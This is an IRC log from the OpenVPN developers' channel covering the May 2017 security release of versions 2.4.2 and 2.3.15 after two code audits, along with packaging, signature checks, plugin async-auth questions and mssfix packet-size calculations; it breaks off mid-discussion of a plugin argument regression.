<@dazo> on my hosts, I most commonly see googlebot, yahoo, bing and yandex .... plus a bunch of odd ones which never really parses through that much at all (perhaps it would be different if they noticed trac?) 10:16 <@dazo> should also be possible to "forbid" them to crawl with ?version= 11:10 <@mattock1> yeah, blocking old versions would make sense 11:10 <@mattock1> the user-agent is already logged, so blocking the offending bots is fairly easy 11:38 <@dazo> well, then you can really do the opposite too ... all polite crawlers fetch robots.txt first - so you'll get their user-agent this way. Then it's all up to the crawler how to respect robots.txt 11:38 <@dazo> but by aggregating unique user-agents fetching robots.txt .... you can easily spot which of them are valuable to us ... and then reject everything else 11:39 <@dazo> then it's just to review this list of bots fetching robots.txt from time to time and see if more should be allowed to crawl our site 11:45 <@mattock1> yeah, that would make sense 11:45 <@mattock1> kind of "audit2allow" approach :) 12:30 <@dazo> hehehe ... yeah :) ... kind of :) 12:36 <@plaisthos> mattock1: just saw your email 12:36 <@plaisthos> is that something that affects client too, do I need to push an update to my client too? :0 12:36 <@mattock1> ah, the questions have begun 12:36 <@mattock1> :P 12:37 <@dazo> plaisthos: it might hit clients too .... but that would mean clients are connected to a rouge server, so that's not really a realistic attack vector at all to me 12:40 <@plaisthos> dazo: thanks 12:41 <@plaisthos> mattock1: yeah, I am not on @security and would like to have a least a bit of lead before my useers ;P 12:43 <@mattock1> yeah, of course 13:49 <@syzzer> would any of you object to a deprecation patch for --no-replay ? 13:49 <@mattock1> no 13:49 <@mattock1> I don't think anyone has had a really compelling argument why we should have it 13:51 <@syzzer> "less overhead if you're not using crypto" 13:51 <@syzzer> (or actually, "not using authentication") 13:56 <+krzee> syzzer: no objection here 14:34 <@syzzer> mattock1: is ostif up-to-date with our release plans too? 14:36 <@mattock1> yes 14:36 <@mattock1> as are distro packagers (those I notified, at least) 14:59 <@syzzer> great! 15:14 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 15:16 <@syzzer> dazo: just found out I have a (manually) cherry-picked version of the secure_memzero patch in my tree for 2.3 :') 15:17 <@syzzer> does it make sense to still send that to the list, or have you guys already prepared a tree for the release? 15:17 <@syzzer> ^^ or cron2, of course 15:40 < valdikss> I'd want to ask you to apply this patch for next (tomorrow) release https://sourceforge.net/p/openvpn/mailman/openvpn-devel/thread/20170510184753.27145-1-valdikss%40gmail.com/#msg35833153 15:40 <@vpnHelper> Title: OpenVPN / Mailing Lists (at sourceforge.net) 15:41 < valdikss> It got ACK from Selva: https://sourceforge.net/p/openvpn/mailman/openvpn-devel/thread/CAKuzo_h4_KUYUmz7jiZVRqbwWk77bgcfZaNiPuomVOiy1zvLnQ%40mail.gmail.com/#msg35833338 15:41 <@vpnHelper> Title: OpenVPN / Mailing Lists (at sourceforge.net) 16:01 <@syzzer> well, I'll just send it and let you decide :) 16:51 <@plaisthos> syzzer: thanks1 17:25 <@dazo> I'll prepare tree now and get samuli a tarball 18:49 <@dazo> syzzer: I've applied both the secure_memzero() and --crl-verify man page update to release/2.3 19:29 <@ordex> morning :) 19:34 <@dazo> good "morning" :) 19:35 <@ordex> :) --- Day changed Thu May 11 2017 00:03 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:03 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:19 * cron2 is still fully booked with meeting stuff 01:28 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 01:44 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:44 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:34 <@syzzer> dazo: great! thanks 03:28 <@cron2> syzzer: you have mail, and it is somewhat urgent 03:29 <@syzzer> cron2: I noticed - already ramping up 03:30 * cron2 feels a bit stupid, that should have popped up earlier 03:30 * syzzer too... 03:39 <@mattock1> I found it as I had to communicate with the package maintainers who were asking "what should we apply and to which OpenVPN versions" 03:40 <@mattock1> anyways, I have 2.4.2 mostly covered already, so I just need updated 2.3.15 tarballs 03:40 <@mattock1> (if those are necessary) 03:40 <@mattock1> -> lunch 04:29 <@cron2> syzzer: your 2.3 patch might not want to refer to "tls-crypt", but that is a minor detail 04:31 <@cron2> ACK sent 04:38 <@syzzer> cron2: good point, thanks! 05:17 <@mattock1> today it would help me tremendously if Thunderbird/Enigmail would just encrypt my emails, instead of hanging forever in "Creating email" dialog, forcing me to kill Thunderbird and restart it 05:17 <@mattock1> but no :| 05:17 <@mattock1> anyways, how long do we want to wait for dazo? 05:21 <@mattock1> I can entertain myself for a while by testing 2.4.2 Windows installers and 2.4.2 Debian packages 05:30 <@cron2> do you have a phone number? after all, employee directory and such? 05:30 * cron2 just sent a very noticeable HEADS UP to the RIPE community about the upcoming release (open source working group here, lots of open source / networking folks...) 05:31 <@cron2> off to the next meeting... 05:35 <@mattock1> sent an SMS 05:35 <@mattock1> 2.4.2 is looking good in Windows smoketests 05:35 <@mattock1> -> debian package testing for 2.4.2 next 05:39 <@mattock1> debian packages seem to work fine 05:40 <@dazo> I'm here ... jumping into things now 05:40 <@mattock1> great! 05:43 <@dazo> mattock1: have you given the distro packagers a heads-up too? I'll need to produce a new patch-bundle 05:43 <@mattock1> yes 05:43 <@mattock1> debian and ubuntu 05:43 <@mattock1> m-a did not respond anything to my first email 05:44 <@mattock1> I think I'll try to poke him again with the latest information 05:50 <@dazo> running the sanity tests now, just to be sure ... then I have everything ready in a few minutes 05:52 <@dazo> syzzer: cron2: I've fixed the patch on-the-fly, so no worries 06:00 <@syzzer> dazo: geat! 06:03 <@dazo> making tarballs, patch bundles and all the extras mattock1 wants :) 06:06 <@dazo> mattock1: I've put everything into the encrypted tarbundle 06:06 <@dazo> everything should be available on our private file space 06:13 <@mattock1> ok 06:21 <@mattock1> building stuff now 06:57 <@mattock1> we're pretty close now, files are waiting to be moved to correct directories on the webservers, release announcements are ready, Windows 2.4.2 installers + 2.4.2 Debian packages have been tested... 06:58 <@syzzer> awesome! 06:58 <@syzzer> texts look good to me 07:03 <@plaisthos> 16 CEST right? 07:05 <@dazo> plaisthos: correct! 07:06 <@mattock1> in two hours 07:06 <@mattock1> download page is prepared now, just waiting to go live 07:07 <@mattock1> I'll go through the checklist to make sure I did not forget something 07:07 <@dazo> we have a checklist? :-P 07:07 <@mattock1> yes 07:08 <@mattock1> I sent email about that, and have been adding stuff to our internal JIRA ticket 07:08 <@mattock1> stuff = checklist content 07:08 <@mattock1> looks pretty ok even though it's low-tech (comparatively speaking) 07:08 <@dazo> :) 07:12 <@plaisthos> better rebase my fork to master 07:12 <@plaisthos> :) 07:15 <@dazo> :) 07:18 <@cron2> dazo, syzzer, mattock1: awsome, lots of thanks 07:18 <@cron2> (just spoke to OpenBSD folks, so they know as well that something is coming :) ) 07:19 <@dazo> cron2: speaking of obsd .... have you seen the patch on the ML for obsd? 07:19 <@cron2> no 07:19 * cron2 looks 07:19 <@dazo> its getting old 07:19 <@cron2> april 14, openbsd routing domains? 07:19 <@dazo> yeah 07:21 <@cron2> I think I looked at it, and found it looking reasonable ("everything is inside #ifdef TARGET_OPENBSD and matches the description") but forgot about it 07:21 <@dazo> fair enough ... just remembered it now when that distro was mentioned :) 07:22 <@cron2> it should go into all relevant branches, but I need to check which code is where (and whether it adds dependencies on "openbsd must be newer than <x>") - it's good for 2.4 and master, need to check 2.3 07:22 <@cron2> I'll make myself a note for early next week 07:22 <@dazo> thx! 07:23 <@cron2> which actually brings back the subject of patchwork :) 07:24 <@dazo> It looked good, code-wise to me ... but I don't know much about the various quirks on that platform, so didn't do anything to it 07:24 <@dazo> hehe ... yeah :) 07:26 < slypknot> Is the "Quarkslab and Cryptography Engineering audits? (May 2017)" meant to link to something ? https://community.openvpn.net/openvpn/wiki/SecurityAnnouncements 07:26 <@vpnHelper> Title: SecurityAnnouncements – OpenVPN Community (at community.openvpn.net) 07:27 <@dazo> yes, we'll arrange that after 1400 UTC 07:28 < slypknot> ok 07:32 <@dazo> mattock1: can you please upload the official PGP signature of the .tar.xz file? .... starting the Fedora roll now 07:41 <@mattock1> ok 07:42 <@mattock1> http://build.openvpn.net/downloads/releases/openvpn-2.4.2.tar.xz.asc 07:50 <@cron2> syzzer: on a totally unrelated notice - what OS is on your laptop, and what do you use to monitor battery usage? 07:51 <@cron2> mine seems to refuse telling linux/acpi about its battery 07:51 <@syzzer> cron2: ubuntu <fairly-new>, and <whatever ubuntu has> 07:51 <@syzzer> (laptop not in reach now, so can't check) 07:52 <@cron2> thanks... so it's worth googling... 08:01 <@dazo> cron2: have you looked into /sys/class/power_supply/BAT* ? 08:07 <@mattock1> god damn why does Thunderbird GPG encryption keep going sour... and why of all days _today_ :| 08:07 <@mattock1> (maybe because I've never sent this many GPG encrypted emails in one day, ever) :P 08:09 <@plaisthos> Oh I got a mail from Nigeria and he is offering me money 08:09 <@plaisthos> but is not a scam, he wants customization of my app 08:09 <@mattock1> lol :D 08:10 <@mattock1> unless they nigerians scams have been personalized nowadays 08:10 <@syzzer> or he is just reselling the customization and isn't planning on paying you for it at all 08:11 <@syzzer> must be hard to have an honest international business in Nigeria, with everyone distrusting you because of the scammers... 08:15 <@dazo> mattock1: have you generated new tar.xz files? 08:15 <@dazo> $ gpg -v openvpn-2.4.2.tar.xz.asc 08:15 <@dazo> ... 08:15 <@dazo> gpg: BAD signature from "Samuli Seppänen <samuli@openvpn.net>" 08:16 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 08:17 <@dazo> ahh, perhaps a pebkac :/ 08:18 <@dazo> okay, I copied the wrong tar.xz file on my side 08:19 <@dazo> gpg: Good signature from "Samuli Seppänen <samuli@openvpn.net>" 08:59 <@ecrist> there's a few acronyms I throw around and I'm convinced 75% or better people don't pick up on them. 09:00 <@ecrist> "Oh, that problem? it's just a PEBKAC error, let me show you how to fix it." 09:00 <@ecrist> "How did I complete XYZ? I just applied some PFM and it worked like a charm." 09:07 <@cron2> has it been done? 09:07 <@dazo> heh 09:08 <@dazo> but the PEBKAC is just so convenient to use against arrogant bastards who believe they know everything and need your help .... they so seldom understand what pebkac is :-P 09:08 <@cron2> dazo: re BAT* - indeed, there is something. Funny. I think I've found that before, but forgot... 09:09 <@dazo> woohoo! 14:00 UTC is now ..... 09:11 <@plaisthos> yeah 09:13 <@dazo> mattock: are we rolling? I'm just waiting a "go!" before I push the updated source code to the public fedora builders 09:14 <@syzzer> dazo: the wiki page is live :) 09:16 <@dazo> I take that as a "go!" :) ... I'll start pushing git trees 09:16 <@cron2> yeah 09:16 <@mattock> yes, we're rolling as planned :) 09:16 <@mattock> Trac is missing the man-page and changelog 09:16 <@mattock> download page is updated 09:16 <@mattock> announcements are not sent quite yet 09:17 <@mattock> some commit ids missing from https://community.openvpn.net/openvpn/wiki/QuarkslabAndCryptographyEngineerAudits 09:17 <@vpnHelper> Title: QuarkslabAndCryptographyEngineerAudits – OpenVPN Community (at community.openvpn.net) 09:17 <@mattock> we need to fix those 09:18 <@dazo> Pushing git trees now, just one last sanity check :) 09:18 <@mattock> \o/ 09:19 <@plaisthos> nothing has arrived here yet :) 09:19 <@ecrist> we are publishing the findings publicly, now that was have fixes for everything, right? 09:19 <@mattock> I'll send the announcements now 09:19 <@cron2> ecrist: we have fixes for everything that is moderately interesting or more 09:20 <@mattock> ecrist: yes, and the funders of the audits are going to publish the audit reports anyways 09:20 <@cron2> there's "this code smells!" bits in the reports, but we've looked at it, considered it secure, and decided "fix later" 09:20 <@dazo> git push complete 09:20 <@ecrist> yeah, although I didn't comment much, I read nearly every email that came in to security@ 09:20 <@ecrist> :) 09:20 <@cron2> dazo: with --tags? 09:20 <@dazo> yes 09:20 <@cron2> wooh! 09:20 <@dazo> * [new tag] v2.3.15 -> v2.3.15 09:20 <@dazo> * [new tag] v2.4.2 -> v2.4.2 09:21 <@cron2> * [new tag] contains -> contains 09:21 <@cron2> wtf? 09:21 <@cron2> (but I have 2.3.15 and 2.4.2 tags as well, thanks) 09:21 <@plaisthos> git tag contain :) 09:21 <@vpnHelper> RSS Update - gitrepo: Set a low interface metric for tap adapter when block-outside-dns is … <https://github.com/OpenVPN/openvpn/commit/27aa87283f6e766507287649aa5a63f1f5172645> || Drop packets instead of assert out if packet id rolls over (CVE-2017-… <https://github.com/OpenVPN/openvpn/commit/e498cb0ea8d3a451b39eaf6f9b6a7488f18250b8> || Don't assert out on receiving too-large control packets (CVE-2017-7478) <https://github.com/ 09:22 <@dazo> ehmm ... I wonder where the contain tag came from 09:22 <@dazo> I'll remove it 09:22 <@dazo> I took it for being a header 09:22 <@plaisthos> OpenVPN for ANdroid security Release, 6.66 the devil's release %) 09:24 <@dazo> lol 09:26 <@dazo> okay, I've removed the 'contains' tag 09:26 <@cron2> uh 09:27 <@cron2> first question I got back was "what about openvpn AS"? 09:27 <@cron2> what's in there today? 09:30 <@mattock> I will contact the AS guys 09:33 <@dazo> anyone started updating commit ids on the sec-announce wiki? 09:33 * cron2 <- not 09:34 <@syzzer> me neither, trying to send an announcement over the -NL announcement list, but seems my list doesn't work anymore, hrmpf... 09:34 <@dazo> :/ 09:34 <@syzzer> list got migrated couple of months ago, figures... 09:40 <@mattock> pushing debian packages to repos 09:40 <@cron2> the AS instance we use has 09:40 <@cron2> May 11 07:55:02 open-vpn openvpnas: [-] OVPN 0 OUT: 'Thu May 11 07:55:02 2017 Op 09:40 <@cron2> enVPN 2.3_AS11c x86_64-unknown-linux-gnu [SSL (PolarSSL)] [LZO] [SNAPPY] [LZ4] [ 09:41 <@cron2> whatever that contains... 09:41 <@mattock> yeah, not sure what 2.3 version that is based on 09:41 <@cron2> old 09:42 <@mattock> probably 09:42 <@cron2> ah, maybe not 09:42 <@cron2> it logs [IPv6] and I thought we removed that - but that was 2.4 only 09:45 * cron2 wonders wtf happened wrt "talking to AS people" - I totally forgot that, but then, james is on security@... 09:45 <@mattock> yeah, except that has been lazy with GPG 09:45 <@mattock> although GPG still leaks the subject line, so he should not have been in total darkness 09:45 <@cron2> yeah, but he has obviously seen "flurry of encrypted mails", so it was obvious something is going on 09:46 <@mattock> plus he knew the deadline + rough outline of what has been fixed 09:46 <@cron2> OTOH AS uses tls-auth by default, so it's not as severe 09:51 <@dazo> oh, James should be very much aware of what's going on ... we've even talked about that with him last Friday 09:51 <@mattock> I wonder if Trac got DDoS'ed by real users 09:51 <@dazo> hehe :) 09:52 <@ecrist> lol 09:52 <@ecrist> that's an interesting concept 09:52 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has quit [] 09:52 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has joined #openvpn-devel 09:53 <@mattock> looks a lot like it, is the security announcement page is requested a lot 09:54 <@mattock> well, I will have to update changelogs and man-pages later then 09:54 <@mattock> all the really important stuff is done afaics 09:54 <@mattock> I'll get back in ~30 mins, need to go now 09:54 <@plaisthos> my update is also out on the play store (with 15% staged rollout) 09:55 <@dazo> https://bodhi.fedoraproject.org/updates/openvpn-2.4.2-1.el7 https://bodhi.fedoraproject.org/updates/openvpn-2.4.2-1.el6 https://bodhi.fedoraproject.org/updates/openvpn-2.4.2-1.fc25 09:56 < valdikss> yay! 09:56 <@dazo> that's the stable releases at least .... working on Fedora 26 (not fully released as of yet, iirc) and Fedora Rawhide .... but those two carries the openssl-1.1 vs mbedtls challenge 09:56 < valdikss> Thank you dazo, fresh OpenVPN was one of the reasons I switched to Fedora. 09:56 <@cron2> cool 09:56 <@plaisthos> dazo: are you the fedora maintainer? 09:56 <@plaisthos> or why is it so fast? 09:56 <@dazo> valdikss: well, Jon (the former package maintainer) was quick on the updates ... but I don't think he managed < 1 hour before :) 09:57 <@dazo> plaisthos: I took over after Jon 09:57 <@dazo> just a couple of months ago 09:57 < valdikss> I built Debian Jessie packages with 2.3.15 in case anyone wants 09:57 <@cron2> 50 minutes is cool :) 09:57 <@syzzer> valdikss: debian packages should be available on mattock's repo too 09:57 <@dazo> cron2: it might even be closer to 40, considering we did the pushed around 16:10 :) 09:58 <@dazo> valdikss: I'd appreciate some updates-testing on the Fedora packages, with +1 karmas ;-) 09:59 <@dazo> (but it'll probably take an hour or two before it really hits the mirrors) 09:59 <@dazo> valdikss: btw ... which Fedora release are you on? 10:00 < valdikss> 25. Actually Korora 25. 10:01 <@dazo> alright, then you'll get the updates sooner 10:07 < valdikss> Fedora's buildsystem and utilities is so much convenient than Debian/Ubuntus 10:07 <@plaisthos> what? You don't like a build system that is spread over 20 tiny files? 10:08 <@plaisthos> and has like 10 difffernt addons that try to fix that? 10:08 < valdikss> I think about 20 addons and different utilities 10:08 <@dazo> it's not bad ... and especially not when they kerberized the authentication and made all command line tools and now also more of the web interfaces work with kerberos tickets 10:08 < valdikss> And not a single how-to or manual of how to use anything properly 10:08 <@plaisthos> and a patch system that operates on your source directly and if it goes wrong is horrible borken? 10:09 < valdikss> And no ability to build exactly what you have in your directory already, you have to generate .tar.gz from that and wait for buildsystem to unpack it again! 10:11 < valdikss> Anyway, Debian is kinda outsider in terms of security now. They stake on grsecurity but now it's not publicily available. No SELinux or AppArmor by default, hell, not even Secure Boot support. 10:11 <@dazo> what I especially appreciate (even though that is package all into a .srpm and unpack it again) ... is the mock build tool .... where I can do clean chroot builds without much hassle ... just tell mock "use this .srpm" 10:11 <@dazo> and can even tell mock "build this for Fedora X" ... or EL6/EL7 10:15 < valdikss> And copr 10:15 < valdikss> copr is cool. Almost as cool as archlinux AUR 10:15 <@dazo> yeah, that's nice too ... even though I haven't take advantage of that yet 10:15 <@dazo> (i've used packages from copr repos though) 10:19 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:19 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:19 < valdikss> Does OpenVPN 2.3 have cipher negotiation or it's only for 2.4? 10:19 <@cron2> 2.4 only 10:20 <@cron2> the changes are very intrusive 10:20 <@dazo> valdikss: but you can switch cipher through --cipher against a 2.4 server, as long as the 2.4 server accepts that cipher 10:21 <@plaisthos> valdikss: but a 2.4 server can change to the 2.3's --cipher setting if it is in ncp-cipher list 10:21 <@cron2> what they said :) 10:21 <@plaisthos> (or 2.4 client with disabled ncp) 10:22 * dazo need to fetch food now 10:23 < valdikss> I know that, but I can't switch to 2.4 server right now unfortunately 10:23 <@cron2> why? 10:23 <@mattock> I guess the EC2 instance for community.openvpn.net needs to be upgraded (it's just a medium one) if it is this easy to get it to its knees 10:23 < valdikss> I'm using fknittel's async defer patches which are not in mainline 10:23 <@cron2> ic 10:23 < valdikss> They are not applying to 2.4. I wrote him multiple times, he said he will prepare a fix and push it to -devel, but he forgot or just busy. 10:24 <@cron2> :( 10:24 <@plaisthos> we should get those patches integrated 10:24 <@plaisthos> they solve a real problem 10:25 <@cron2> yep 10:25 <@cron2> (didn't we merge "something" with async... and inotify, and such?) 10:26 <@cron2> so we have async auth "for something" already - valdikss: what does async defer do? 10:27 < valdikss> cron2: fknittel's fixes introduce defer api for plugins. Without that OpenVPN server can't process any traffic until plugin succeedes or fails authentication. 10:28 < valdikss> I use radius plugin and my radius server can reply up to 3 seconds. This 3 seconds all traffic is stalled. 10:28 < valdikss> But not with defer fix. 10:28 <@cron2> this is why I'm wondering - we *have* some "async auth" stuff for plugins 10:29 < valdikss> Hrm. I thought it's only for client-connect scripts or so 10:29 < valdikss> Not for plugins. 10:29 <@cron2> commit 47ae8457f9e9c2bb0f5c1e8f28822e1bbc16c196 10:29 <@ordex> on our single threaded daemon we should never have any blocking operation, otherwise poo poo :( 10:29 <@cron2> Support asynchronous authentication by plugins by allowing 10:29 <@cron2> OPENVPN_PLUGIN_AUTH_USER_PASS_VERIFY to return 10:29 <@cron2> OPENVPN_PLUGIN_FUNC_DEFERRED. See comments in 10:29 <@cron2> openvpn-plugin.h for documentation. Enabled by ENABLE_DEF_AUTH. 10:29 <@cron2> I'm not sure what this does, or what fkittel's patch adds, so I'm naively asking 10:30 <@cron2> and there is the existing sample/defer plugin... 10:31 <@cron2> stipa added stuff in commit 0d1a75bfe241466230c41a52c6013494135c5935 to make "the existing async stuff" *better*... 10:31 <@cron2> " Send push reply right after async auth complete 10:32 < valdikss> I can't really remember why I needed those patches. I'll check it today later then. 10:33 * cron2 is totally blank on the whole plugin/async stuff, but will need to investigate that $soon anyway, for customer project :) 10:35 < valdikss> What's with trac and wiki? 10:35 < valdikss> It's horribly slow 10:35 <@plaisthos> people clicking the "more details here link" 10:35 <@syzzer> DDoS by real users, it seems... 10:35 < valdikss> Is it not optimized at all? 10:36 <@syzzer> dunno - mattock is the trac king 10:38 < valdikss> Oh 10:38 < valdikss> It's probably only for tls authentication and not client-connect authentication AFAIK 10:39 < valdikss> This commit introcudes asyncronious (or deferred) client-connect function. 10:39 < valdikss> It works just as auth_user_pass_verify function which can return result using temporary file OpenVPN creates to prevent main OpenVPN thread stall while the user is connecting. 10:39 < valdikss> You should set useclientconnectdeferfile=true in radiusplugin config file for this function to work. It would fall back to synchronous method if asynchronous method can't be used. 10:39 < valdikss> Asynchronous client-connect call is not merged upstream as for OpenVPN 2.3.8 and requires patches from Fabian Knittel. 10:39 <@plaisthos> client-conect is not auth 10:40 <@plaisthos> that is basically ccd by a script 10:41 < valdikss> Do client_connect scripts support deferred auth? 10:42 < valdikss> If not, that's also what fknittel's patches do. 11:04 <@dazo> valdikss: that's correct, it's deferred authentication we have support for currently 11:04 < valdikss> dazo: so it should work? Strange, I'll investigate it then. 11:05 <@dazo> valdikss: but only via plug-ins, not scripts ... how do you integrate with radius? 11:05 < valdikss> dazo: client-connect call in plugin 11:07 <@dazo> hmm ... I haven't seen the plug-in code, but if you use deferred authentication, it should be possible to fetch all the information you need for client-connect in one go during user auth ... then stash that away for the client-connect phase to pick it up again ... but you will need some kind of local storage which both read/writes to/from 11:10 < valdikss> The plugin does not implement user auth in my case 11:10 <@dazo> aha 11:10 <@cron2> ok, now I understand the circumstances, thanks 11:11 <@dazo> oh .... I need to push out a bunch of "patch applied" mails .... and I can bounce the CVE patches too 11:12 <@cron2> indeed :) 11:13 <@mattock1> valdikss: well, as optimized as it can easily be, but the EC2 instance lacks muscle 11:22 < valdikss> mattock1: ? 11:22 <@dazo> I think what mattock1 is saying is that they haven't scaled the VM enough ;-) 11:23 < valdikss> What VM? Is it a reply on something? 11:23 <@ordex> I think he is talking about the EC2 instance where community.openvpn.net runs 11:24 < valdikss> Ah, I see 11:54 <@syzzer> nice, the bouncing worked as hoped! 11:57 <@dazo> :) 11:58 <@dazo> I just hope I've not forgotten any "patch applied" mails :) 11:59 <@dazo> I wonder if there's something left by now .... 12:14 < slypknot> Just as a reminder: the <git-commit-id>'s are still missing here: https://community.openvpn.net/openvpn/wiki/QuarkslabAndCryptographyEngineerAudits 12:14 <@vpnHelper> Title: QuarkslabAndCryptographyEngineerAudits – OpenVPN Community (at community.openvpn.net) 12:28 <+krzee> is that a public doc? 12:29 <+krzee> nevermind i see its linked from security page 12:45 <+krzee> OVPN-02-1: Potentially flawed TLS control channel encryption: IV collision <-- says something will be done to mitigate, says man page was updated, and says which commit was done, so the commit was only to the manpage? 12:45 <@mattock1> krzee: looks like it yes 12:46 <@mattock1> I will reword the end of the section a bit 12:47 <@mattock1> done 12:48 <@mattock1> now it should be clear that the said commits only fix the man-page 12:58 <+krzee> thank you =] 12:59 <@mattock1> if documentation sucks, it's a bug, so thank you for reporting it :) 13:34 <@ecrist> ordex: are you an OpenVPN employee? 13:36 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 13:45 < slypknot> FYI: https://forums.openvpn.net/viewtopic.php?f=10&t=24094 13:45 <@vpnHelper> Title: Alternate SSL/TLS solution: OpenVPN with wolfSSL - OpenVPN Support Forum (at forums.openvpn.net) 13:49 <@mattock> slypknot: that is an odd message 13:49 <@mattock> can you nuke it? 13:50 <@mattock> it is incorrect in so many ways, and makes now sense 13:50 <@mattock> there is an alternate solution in OpenVPN - mbedTLS 13:50 <@mattock> plus OpenSSL versions we have are not outdated 13:52 < slypknot> ok 14:01 < valdikss> mssfix documentation still incomprehensible for people. 14:02 < valdikss> I wrote very detailed response but in Russian. Described how max packet value of 1473 for mssfix 1450 was found, why is it bound to a block size and all. Should probably translate it. 14:08 <@dazo> that'd be valuable, yes 14:10 < eworm> Hey, the download page is from future. :-p 14:11 < eworm> It lists vulnerabilities fixed in OpenVPN 2.4.12. 14:15 < slypknot> ^^ first paragraph https://openvpn.net/index.php/open-source/downloads.html 14:15 <@vpnHelper> Title: Downloads (at openvpn.net) 14:20 <@dazo> heh 16:57 <@vpnHelper> RSS Update - tickets: #889: OpenVPN 2.4.2 fails to build against LibreSSL <https://community.openvpn.net/openvpn/ticket/889> 19:33 <@ordex> morning --- Day changed Fri May 12 2017 00:12 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:12 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:29 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 01:33 <@mattock> eworm, slypknot: I can't find any reference to OpenVPN 2.4.12 01:33 <@mattock> did somebody fix it already? 02:40 <@cron2> good morning 02:43 <@ordex> morning :) 02:50 <@mattock> morning 04:57 < slypknot> mattock: it was fixed already my guess by dazo ..i don't have access to change that website 04:59 <@mattock> ok 07:13 < valdikss> Will the packet fit MTU 1500 with mssfix 1450, proto tcp6 and IPv6 connection between VPN server and client? 07:14 < valdikss> From what I understand, theoretically it can produce output packet of maximum 1510 bytes (including all headers) 07:33 <@plaisthos> accroding to the manpage mssfix should limit the resulting packet size 07:33 <@plaisthos> i.e. mssfix 1450 forces a much lower mss inside 07:34 <@plaisthos> in my case the automatic segement assembly from the hardware nics breaks mssfix anyway 07:34 <@plaisthos> kernel just see 32k udp or tcp packets 07:42 < valdikss> well, yes, but no 07:43 < valdikss> mssfix 1450 produces packets of maximum size of 1473 for proto udp over IPv4 with some cipher (AES-256 I suppose) 07:44 <@plaisthos> yeah udp header from the outer packet is not included 07:44 < valdikss> with cipher none and auth none it could produce maximum packet size of 1478 bytes. 07:45 <@plaisthos> did check how large the ipv4+udp header is of that? 07:45 < valdikss> Now we switch to IPv6. proto udp6, cipher none, auth none and mssfix 1450 gives is maximum outbound packet size of 1498 bytes. 07:45 < valdikss> And with proto tcp6 1510 bytes? 07:45 <@plaisthos> Resulting packet would be at most 28 bytes larger 07:45 <@plaisthos> for IPv4 and 48 bytes for IPv6 (20/40 bytes for IP header and 8 07:45 <@plaisthos> bytes for UDP header). 07:45 < valdikss> I know, I wrote that documentation. I wrote it assuming IPv4 and proto udp. 07:45 <@plaisthos> ah okay 07:45 < valdikss> "at most 28 bytes larger" is for proto udp, for proto tcp it's at most 40 bytes larger. 07:46 <@plaisthos> I would double check if the tcp header is larger than expected 07:46 < valdikss> So, according to my calculations, mssfix 1450 with proto tcp6 and ipv6 connection gives us at most 1510 size packet. 07:46 < valdikss> Need to check that. If this is correct, this is bad. 07:47 <@plaisthos> I run my vpns with mtu 1400 07:47 <@plaisthos> less hassle %) 07:49 <@plaisthos> I just did a tcpdump on a v6 tcp 07:50 <@plaisthos> And I get 40 byte IPv6 + 32 byte tcp 07:51 <@plaisthos> but for tcp oversized packets are not that bad as they are for udp 07:52 < valdikss> Yes, not a catastrophe, but still not good for a default mssfix value. 08:23 < buxy> Hello, https://community.openvpn.net/openvpn/wiki/QuarkslabAndCryptographyEngineerAudits claims that there is patch in the release/2.2 branch. However looking at https://github.com/OpenVPN/openvpn/commits/release/2.2 I see nothing like that. 08:23 <@vpnHelper> Title: QuarkslabAndCryptographyEngineerAudits – OpenVPN Community (at community.openvpn.net) 08:24 <@syzzer> buxy: patches are on the list, but not applied to the tree yet: https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg14643.html 08:24 <@vpnHelper> Title: [Openvpn-devel] [PATCH 1/3 (release/2.2)] Update sample-keys (at www.mail-archive.com) 08:24 <@syzzer> (scroll down for links to the next two patches, that are the actual bug fixes) 08:25 < buxy> syzzer: ah, thanks 11:39 * cron2 is nearing home, so things will eventually happen... 11:58 * krzee pictures a smarthouse that does things on its own when cron2 gets home 13:23 < SviMik> can anyone find how the line 13:23 < SviMik> else if (streq (p[0], "plugin") && p[1]) 13:23 < SviMik> was changed into 13:23 < SviMik> else if (streq(p[0], "plugin") && p[1] && !p[3]) 13:23 < SviMik> in options.c ? 13:24 < SviMik> git is failing to find it for some reason... 13:26 < SviMik> and the next question will be... WHY??? 13:41 <@cron2> SviMik: argument checking 13:41 <@cron2> 2.4 will fail if you pass more arguments that an option will accept, while 2.3 happily ignored extra stuff 13:41 <@cron2> which could lead to: 13:41 <@cron2> --option1 arg1 option2 arg2 13:41 < SviMik> cron2 did you know that openvpn_plugin_open_v3 has struct openvpn_plugin_args_open_in const *arguments 13:41 < SviMik> which allows you to use custom arguments in the plugin? 13:42 <@cron2> being parsed as "option1 with arg1, and some ignored extra args", instead of actually causing an *error* when this certainly wasn't intended... 13:42 <@cron2> SviMik: yes, but as far as OpenVPN is concerned, it's "one single string" 13:42 <@cron2> so it should be 13:42 <@cron2> plugin foo.so "my custom arguments" 13:42 <@cron2> = single p[2] 13:42 <@cron2> not 13:42 <@cron2> plugin foo.so my custom arguments 13:42 < SviMik> well, it's not how it worked in 2.3 13:42 <@cron2> = p[2], p[3], p[4] 13:43 <@cron2> I would argue that in 2.3 it just igored p[3] and p[4] 13:43 <@cron2> but let me check that particular case 13:43 < SviMik> my plugin used that in config file like this: 13:43 < SviMik> plugin /etc/openvpn/async_updown.so /path/to/your_up_script /path/to/your_down_script /path/to/pf_file_list.txt 13:43 < SviMik> and it works 13:44 < SviMik> (idk about command line though) 13:44 <@cron2> SviMik: yes, you're right, it's not passing "p[2]" down to plugin_option_list_add() but "&p[1]", so this is a regression 13:44 